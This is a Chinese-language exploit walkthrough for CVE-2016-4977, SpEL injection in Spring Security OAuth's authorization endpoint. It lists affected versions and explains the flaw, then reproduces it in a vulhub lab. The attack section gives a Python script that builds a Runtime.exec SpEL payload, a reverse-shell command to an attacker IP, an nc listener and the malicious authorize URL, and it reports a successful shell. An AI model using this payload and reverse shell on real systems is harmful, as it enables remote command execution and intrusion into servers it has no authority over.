影响范围

  • Spring Security OAuth 1.0.0 - 1.0.5
  • Spring Security OAuth 2.0.0 - 2.0.9
  • Spring Security OAuth 2.0 - 2.0.14
  • Spring Security OAuth 2.1 - 2.1.1
  • Spring Security OAuth 2.2 - 2.2.1
  • Spring Security OAuth 2.3 - 2.3.2

漏洞类型

SpEL 表达式注入

操作系统限制

配置要求

默认配置

漏洞利用

命令执行,进行反弹 shell,写入木马

利用原理

当授权请求中的 scope 参数不合法,Spring 会调用默认的 WhitelabelApprovalEndpoint 生成错误页面,Spring 视图解析器解析错误模板,将 ${errorSummary} 占位符替换成含用户输入的错误描述字符串,攻击者可以构造恶意 payload 带入到页面内容,Spring 渲染引擎未能识别用户输入数据,会将 ${} 包裹的内容再次交给 SpEL 解析器处理,敏感命令得以执行

漏洞复现

用现成的 vulhub 来拉取镜像

1
2
3
4
5
6
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/spring/CVE-2016-4977
#拉取镜像
docker-compose up -d

1773371638149

访问构造的 url,报错信息含构造计算式结果,说明存在注入点

1
http://公网ip:8080/oauth/authorize?response_type=${2*3}&client_id=acme&scope=openid&redirect_uri=http://test

1773371666253

攻击脚本,python3

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:

poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)

poc += ')}'

在 python 脚本对话框输入反弹 shell 命令,bash -i /dev/tcp/ 攻击机 ip/监听端口 0>&1

1773371705353

开启监听,nc -lvvp 监听端口

1773371847771

注入 payload 到 url,并访问

1
http://公网ip:8080/oauth/authorize?response_type=脚本生成的payload&client_id=acme&scope=openid&redirect_uri=http://test

1773371874911

成功连接,虽然连接不稳定

1773371903717